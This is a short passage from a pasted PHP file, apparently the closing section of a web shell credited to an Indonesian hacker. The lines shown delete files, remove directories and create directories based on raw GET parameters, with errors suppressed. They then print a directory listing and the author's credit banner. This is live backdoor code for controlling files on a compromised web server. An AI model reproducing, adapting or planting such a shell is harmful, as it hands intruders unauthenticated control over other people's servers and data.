  4078. $file = $_GET['delete']; @unlink($file);
  4079. }
  4080. elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != ""))
  4081. {
  4082. @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
  4083. }
  4084. elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != ""))
  4085. {
  4086. $path = $pwd.$_GET['mkdir']; @mkdir($path);
  4087. }
  4088. $buff = showdir($pwd,$prompt);
  4089. echo $buff;
  4090. }
  4091. ?>
  4092. <center><br><br><br><br>
  4093. Coded By Aerul Da White-Hkc</br>
  4094. Thanks to All Indonesian Coder | All Indonesian Hacker | <img src='http://i24.photobucket.com/albums/c42/revoconsole/msH17e0_zps010a75c6.gif' /><br>
  4095. </center>
  4096. </div>
  4097. </body>
  4098. </html>
RAW Paste Data